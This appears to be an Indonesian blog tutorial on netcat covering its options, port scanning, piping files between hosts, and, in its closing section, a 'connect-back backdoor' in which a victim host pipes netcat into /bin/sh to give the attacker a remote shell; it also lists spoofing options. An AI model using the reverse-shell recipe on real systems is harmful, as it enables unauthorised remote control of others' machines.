Tutorial NetCat

Posted by syico | 6:23:00 PM | | 0 comments »

Netcat secara sederhana, penggunaannya mirip dengan penggunaan telnet Telnet client, karena pada netcat dapat mengakses remote host mana saja dengan port apa saja (pada protokol TCP dan UDP). Sebagai contoh: untuk connect ke sebuah host bernama google.org pada port 80, Anda cukup mengeksekusi command:

$ nc google.com 80

Lalu tekan CTRL + C untuk exit. Jika port yang dituju terbuka, Anda dapat
memberikan perintah yang Anda inginkan. Seperti:


$ nc google.org 80
GET / HTTP/1.0 [ENTER]
[ENTER]
HTTP/1.1 200 OK
Date: Sat, 30 Apr 2005 03:29:21 GMT
Server: Apache/1.3.33 (Darwin) PHP/4.3.10
Connection: close
Content-Type: text/html
...


Netcat juga dapat digunakan sebagai tool untuk melakukan testing sebuah firewall. Yang menjadi tujuan testing adalah mencari tahu ports yang berstatus OPEN dan LISTENING.

Perintah-perintah di dalam netcat antara lain :
-g gateway Tentukan source routing hop untuk koneksi-koneksi outbound.
-G number Digunakan untuk memberikan spesifikasi source routing pointer dalam IP header.. value: 4, 8, 12, ...
-i seconds Menentukan delay interval pengiriman packets. Sebagai contoh, jika Anda ingin netcat menunggu 5 detik untuk scanning ports, gunakan -i 5
-l Listen mode. Jika digunakan dengan options tambahan, maka sangat dimungkinkan untuk melakukan binding ke sebuah root shell.
-n Tidak menggunakan DNS support dan hanya menggunakan IP address saja. Sangat berguna jika DNS Anda seringkali 'lambat' dan 'bermasalah'.
-o file Membuat format hex-dump traffic ke sebuah file.
-p value Sebuah option untuk melakukan port spoofing. Jika Anda ingin sebuah packet tampak terkirim dari port 53 dari sebuah host, maka Anda akan menggunakan -p 53.
-r Memungkinkan netcat untuk melakukan random scanning ports.
-s address Melakukan spoofing source address dari packet. Option ini tidak dapat bekerja pada semua sistem.
-u Secara default, netcat menggunakan protokol TCP. Dengan menggunakan option ini, netcat akan menggunakan User Datagram Protocol (UDP).
-v Verbose mode. Gunakan -v -v untuk mendapatkan informasi yang lebih banyak.
-w seconds Membuat netcat menunggu (dalam detik) untuk setiap respon port. Option ini biasanya dikombinasikan dengan option -z
-z Juga disebut "zero-I/O mode", option ini memungkinkan netcat tidak menggunakan I/O dari source system. Option ini biasanya digunakan ketika memanfaatkan netcat sebagai scanner.

Contoh Dasar ;
Secara sederhana, untuk melakukan koneksi ke remote host, gunakan

$ nc [-options] hostname port[s] [ports] ...

sedangkan untuk listen pada koneksi inbound, gunakan

$ nc -l -p port [-options] [hostname] [port]

Sekarang, kita akan menggunakan netcat sebagai tool untuk melakukan pengecekan terhadap sebuah remote host. Jika Anda menginginkan scanning pada port 1 sampai 1024, maka perintah yang diberikan adalah

$ nc -z -w 5 -n -v 234.56.78.9 1-1024
(UNKNOWN) [234.56.78.9] 631 (?) open
(UNKNOWN) [234.56.78.9] 113 (?) open
(UNKNOWN) [234.56.78.9] 80 (?) open
(UNKNOWN) [234.56.78.9] 25 (?) open

Gunakan double verbose (-v -v) untuk mendapatkan informasi tentang ports yang tertutup (refused)...

(UNKNOWN) [234.56.78.9] 5 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 4 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 3 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 2 (?) : Connection refused
(UNKNOWN) [234.56.78.9] 1 (?) : Connection refused

Option -z dan -w 5 digunakan agar netcat tidak melakukan binding sebuah port dan menunggu lima detik untuk setiap koneksi. Option -n digunakan untuk tidak memanfaatkan fitur DNS resolve.

Untuk target ports, Anda dapat melakukan pembatasan hanya pada port tertentu saja.

$ nc -z -w 5 -n -v 234.56.78.9 21-25, 53, 80, 110-113, 443

Anda dapat melakukan scanning UDP ports dengan menambahkan option -u

$ nc -u -z -v -n 234.56.78.9 1-65335
(UNKNOWN) [234.56.78.9] 69 (?) open
(UNKNOWN) [234.56.78.9] 514 (?) open
(UNKNOWN) [234.56.78.9] 53 (?) open

Contoh untuk tingkat lanjut :
Pada penggunaan tingkat lanjut, netcat juga dapat digunakan sebagai
tool untuk melakukan transfer file. Sebagai contoh: Anda ingin
melakukan copy-transfer sebuah direktori dari host-A ke host-B .
Maka yang perlu Anda lakukan adalah:

* pada host-A

$ tar cvf - direktori/ | nc host-B 12345

* pada host-B

$ nc -l -p 12345 | tar xvf -



Anda juga dapat mengunakan netcat sebagai connect-back backdoor. :-)

* pada host-A, aktifkan 2 window dimana netcat dijalankan dengan LISTEN mode.



$ nc -l -p 12345 [ window-1 ]
$ nc -l -p 12346 [ window-2 ]

* pada host-B (yang menjadi victim)
$ nc -v host-B 12345 | /bin/sh | nc -v host-B 12346
Pada window-1 di host-A, Anda dapat mengetikkan perintah yang akan dijalankan pada host-B, dan kemudian melihat output dari perintah yang diberikan pada window-2 di host-A.


Download netCat


0 comments